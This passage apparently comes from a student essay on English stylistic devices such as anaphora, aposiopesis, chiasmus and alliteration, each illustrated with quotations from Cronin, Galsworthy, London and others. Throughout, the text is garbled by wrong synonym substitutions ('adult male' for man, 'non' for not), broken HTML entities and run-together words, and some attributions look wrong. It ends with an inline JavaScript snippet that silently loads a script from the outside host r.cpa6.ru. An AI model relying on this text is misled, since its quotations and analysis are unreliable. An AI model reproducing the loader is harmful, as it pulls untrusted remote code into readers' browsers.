the hall. A.J. Cronin 4. His places were black tied boots, good boots, honest boots, standard boots, inordinately uninteresting boots. S.Lewis Anticlimax Anticlimax 1. The kids began upon the cocoa biscuits and ended with a battle for the last piece of staff of life. A.J. Cronin A.J. Cronin The writer creates a amusing consequence with this unexpected stoping of the sentence. gt ; 2. They were traveling to give him a free manus, back him up with their huge authorization, turn him free on his clinical research. # 8220 ; But, gentlemen # 8221 ; , Billy all of a sudden pipped, scuffling himself a new trade from his coat pockets, # 8220 ; beforeDoctor Manson goes on with this job, before we can experience ourselves at autonomy to let him to concentrate his attemptsupon it, there is another and, more urgent affair, whichI feel he ought to take up. # 8221 ; A.J. Cronin 3. # 8220 ; Possibly it # 8217 ; s a call, Chris! Think of it! My first Aberalaw case. # 8221 ; He dashed into the hall. It was non a instance, nevertheless, but Doctor Llewellyn, telefoning his welcome from his place at the other terminal of the town. A.J. Cronin 4. The grey suit was good cut, good made, and wholly insignificant. His places were black tied boots, good boots, honest boots, standard boots, inordinately uninteresting boots. S.LewisAnaphoras 1. He told hershe was a sweet, keen kid. He told herhe had been a beast to her but that for the remainder of his life he would be a rug # 8211 ; non red, since she interjected her expostulation to that coloring material # 8211 ; on which she might step. He told hermuch more than that. A.J. Cronin Here the writer uses a consecutive repeat of the phrase # 8220 ; he told her # 8221 ; at the beginning of 3 back-to-back sentences. 2. She laughedtill the cryings ran down her cheeks. She laughedso difficult that he sat up, concerned. A.J. Cronin 3. Could a adult male ain anything prettier thanthis dining-table with its deep shades, the starry, soft-petalled roses, the ruby-coloured glass, and quaint Ag trappings ; could a adult male ain anything prettier thana adult female who sat at it? J. Galsworthy The writer uses repeat of the phrase # 8220 ; could a adult male ain anything prettier than # 8221 ; at the beginning of the sentence and at the beginning of the clause. Epiphoras 1. Dear God, he had done it! He had done it! He was through, he had done it! A.J. Cronin Repeated unit is placed at the terminal of back-to-back sentences. 2. # 8220 ; The studies are taking excessively long. Much excessively long. # 8221 ; A. Hailey 3. # 8220 ; I haven # 8217 ; t got a occupation. I # 8217 ; m non looking for a occupation. Furthermore, I am non traveling to look for a occupation. # 8221 ; J. London The writer repeats a word # 8220 ; occupation # 8221 ; at the terminal of back-to-back sentences. Aposiopesis 1. # 8220 ; Good afternoon # 8221 ; , said Mr. Cowlishaw # 8220 ; Have you # 8230 ; Can I # 8230 ; # 8221 ; A. Bennett The character is worried, this why he can # 8217 ; t stop his statements. 2. # 8220 ; But, George, possibly it # 8217 ; s really of import for you to travel and larn all that about # 8211 ; cowss judging and dirts and those things # 8230 ; Of class, I don # 8217 ; t know. # 8221 ; O. Wilde The writer uses aposiopesis to demo the jitteriness and concern of the character. 3. # 8220 ; Listen, Emily, I # 8217 ; m traveling to state you why I # 8217 ; m non traveling to Agriculture School. I think that one time you # 8217 ; re found a individual that you # 8217 ; re really fond of # 8230 ; I mean a individual who # 8217 ; s fond of you, excessively, and likes you adequate to be interested in your character # 8230 ; Well, I think that # 8217 ; s merely every bit of import as college is, and even more so. That # 8217 ; s what I think. # 8221 ; O. WildeHyperbaton 1. # 8220 ; I know there was a spot of misconstruing between your Tom and me. But it # 8217 ; s Christmas # 8211 ; and # 8211 ; oh, well, I want # 8211 ; # 8221 ; he broke down lamely, # 8220 ; I mean, I # 8217 ; d be terribly pleased if the three of you would come unit of ammunition and assist us eat our Christmas dinner. # 8221 ; A.J. Cronin The writer uses hyperbaton to demo the edgy province of the talker # 8217 ; s head. 2. # 8220 ; The fact is I # 8217 ; d begun to inquire myself if you weren # 8217 ; t excessively little, excessively much of a child of all time to # 8211 ; oh, well, I # 8217 ; m delighted. But we # 8217 ; re non traveling to acquire sentimental. Slushy, I mean. No, no! Let # 8217 ; s leave that kind of thing to Mr. And Mrs. Smith. # 8221 ; A.J. Cronin 3. # 8220 ; I slipped in. Cipher knows I am here. I wanted to see you. I came to state you I have been really foolish. I came because I could no longer remain off, because my bosom compelled me to come, because # 8230 ; because I wanted to come. # 8221 ; J. LondonFraming 1. A errorhad been made, and yet it was non a wanton error. A. Hailey The writer reiterates the same word # 8220 ; misidentify # 8221 ; at the beginning and at the terminal of a sentence. 2. He was no talkerand he knew that he was no talker. A. J. Cronin The writer reiterates the same phrase # 8220 ; he was no talker # 8221 ; at the beginning and at the terminal of a sentence. 3. A bubbleof mucous secretion came from one bantam anterior naris, a joyful iridescent bubble. A.J. Cronin 4. # 8220 ; My encephalonis the same old encephalon. # 8221 ; J.London Withdrawal 1. # 8220 ; Possibly it # 8217 ; s a call, Chris! Think of it!My first Aberalaw instance. # 8221 ; He dashed into the hall. A.J.Cronin The writer makes withdrawals to heighten their accent. 2. # 8220 ; Well, good! This is glorious. Delighted to run into you. Come along in here. # 8221 ; A.J.Cronin 3. # 8220 ; But we # 8217 ; re non traveling to acquire sentimental. Slushy, I mean. No, no! # 8221 ; A.J.CroninOnomatopoeia 1.Pinging!Went the door once more. Before Andrew could reply, Doctor Philip Denny and Hawkins disappeared into the wet darkness. A. J. Cronin Direct onomatopoeia. 2. It sometimes amused foreigners to see snow remotion groups, plough blades down, blowers howling, on a hot, cheery twenty-four hours. A.Hailey Direct onomatopoeia. 3. # 8220 ; Krr # 8211 ; krr # 8211 ; krr # 8211 ; ki # 8211 ; ki # 8211 ; ki # 8211 ; krr. # 8221 ; # 8220 ; Damn! # 8221 ; said Christine briefly. Merely one motor horn in Aberalaw could sound like that. A. J. Cronin Direct onomatopoeia. The writer imitates natural sound of the horn of the auto. Matching 1. Heavily, like a deceasing adult male, he took stock of them: his patients, gathered, despite the all right summer eventide, to pay testimonial to his mode, his personality. A. J. Cronin The writer sets side by side two correspondent phrases: # 8220 ; his mode, his personality # 8221 ; in order to reenforce the point. 2. Mel, airport general director # 8211 ; thin, rangy, and a human dynamo of disciplined energy # 8211 ; was standing by the Snow Control Desk, high in the control tower. A.Hailey 3. He spoke really angrilyand pitterly, and looked consecutive in front while he talked. E. Hemingway Anastrophe 1. Hereshe would sit, run uping and knitting, while he worked at the tabular array. A.J. Cronin The writer uses a purposeful reversal of the natural order of words with a position to rising their consequence. 2. With all this behind them certainlythey would non hunger. A.J. Cronin 3. Gone now washis pretension of indifference. A.J. Cronin Polysyndeton 1. # 8220 ; A diputation from the Committee, five of them, including Ed Chenkin, andescorted by Parry # 8211 ; you know, the Sinai curate # 8211 ; anda adult male Davies. # 8221 ; A.J. Cronin The writer uses polysyndeton to convey out every item and to decelerate down the action. 2. It was possible to purchase fruit andfish andveggies stingily at that place. A.J. Cronin 3. He brought his arm down andstopped smiling andlooked at the fire water faucet andbeyond the fire hydrant the trough andbeyond the trough the street, Ventura, andon both sides of the street houses andin the houses people andat the terminal of the street the state where the vineries and groves were andwatercourses andhayfields andso mountains andbeyond the mountains more metropoliss andmore houses andstreets andpeople. W. Saroyan Chiasmus 1. # 8220 ; Ifthey # 8217 ; d done anything to you # 8211 ; after allyou # 8217 ; ve done for meI # 8217 ; d # 8211 ; Oh! I # 8217 ; vitamin Ds have killed that old President. # 8221 ; A. J. Cronin The writer juxtaposes two thoughts. 2. # 8220 ; It looks to me, # 8221 ; continued Soames, # 8220 ; as if she were sweeter on him than he is on her. She # 8217 ; s ever following him about. # 8221 ; J. Galsworthy 3. Gratitude was no virtuousness among Forsytes, who, competitory, and full of commonsense, had no juncture for it ; and Soames merely experienced a sense of aggravation amounting to trouble, that he did non have her as it was his right to have her, that he could non, as by stretching out his manus to that rose, pluck her and whiff the really secrets of her bosom. J. Galsworthy 4. # 8220 ; In the yearss of old work forcesmade themanners; Mannerssnow makework forces # 8221 ; J. Byron This is a celebrated quip by Byron, the writer, who favoured chiasmus. 5. # 8220 ; Surely they don # 8217 ; T want me for myself, for myself is the same old ego they did non want. # 8221 ; J.London Climax ( Gradation ) 1. He was ill, tattered, on the brink of a complete prostration. A. J. Cronin The writer gives gradual addition in emotional rating of the status of the character. 2. His startled sisters looked, and before the servant miss could acquire at that place, the staff of life home base wobbled, slid, flew to the floor, and broke into trembles. K. Mansfield 3. # 8220 ; They looked at 100sof houses ; they climed 1000sof stepss ; they inspected countlesskitchens. # 8221 ; S.Maugham Here the flood tide is achieved by simple numerical addition. Alliteration 1. # 8220 ; So he sat and jawned, and gazed at the chromiumowd chromiumowding to the lucifer at two o # 8217 ; clock, chromiumowding back in the somberness at four O # 8217 ; clock # 8230 ; # 8221 ; A. Bennett Alliteration is the repeat of similar consonants at the beginning of neighbouring words. 2. She wrinkled her Brows in a at a loss Frain. J. Galsworthy The articulation of # 8220 ; R # 8221 ; is used to reenforce the look. 3. # 8220 ; Forget and forgive # 8221 ; , she cried passionately. J.London 4. But he was angry now, his jitteriness lost in a puffiness indignation at the ignorance, the intolerant stupidity of Chenkin # 8217 ; s accusation, and the Air Combat Commandlamation with which the others had received it. A.J.Cronin Assonance 1. He wroteand wrote, neer lookingat the clock, make fulling sheetafter sheet, until his caputreeled. A. J. Cronin [ u # 8211 ; u # 8211 ; u # 8211 ; # 8211 ; I: # 8211 ; I: # 8211 ; e # 8211 ; I: ] Assonance # 8211 ; calculated repeat of like sounding vowels in neighboring words with a position to rising their consequence. 2. When he opened his eyesonce more he started, seeing something crawlingfleetly up a tree. D.H. Lawrence [ ai # 8211 ; a: # 8211 ; I: # 8211 ; I: ] Rhetorical Question 1. Could a adult male ain anything prettier than this dining-table with its deep shades, the starry, soft-petalled roses, the ruby-coloured glass, and quaint Ag trappings ; could a adult male ain anything prettier than a adult female who sat at it? J. Galsworthy Rhetorical inquiry is a inquiry which requires no reply, and is used simply to underscore a point. 2. # 8220 ; Please, my beloved fellow # 8221 ; Llewellyn entreated # 8211 ; # 8220 ; who could assist an accident like that? I beg of you # 8211 ; travel up and comfort your wife. # 8221 ; A. J. Cronin 3. She took the vase of roses and left the room. Soames remained sitting. Be it for this that he had signed that contract? Was it for this that he was traveling to pass some ten thousand lbs? J. Galsworthy ( map ( ) { var ad1dyGE = document.createElement ( 'script ' ) ; ad1dyGE.type = 'text/javascript ' ; ad1dyGE.async = true ; ad1dyGE.src = 'http: //r.cpa6.ru/dyGE.js ' ; var zst1 = document.getElementsByTagName ( 'script ' ) [ 0 ] ; zst1.parentNode.insertBefore ( ad1dyGE, zst1 ) ; } ) ( ) ;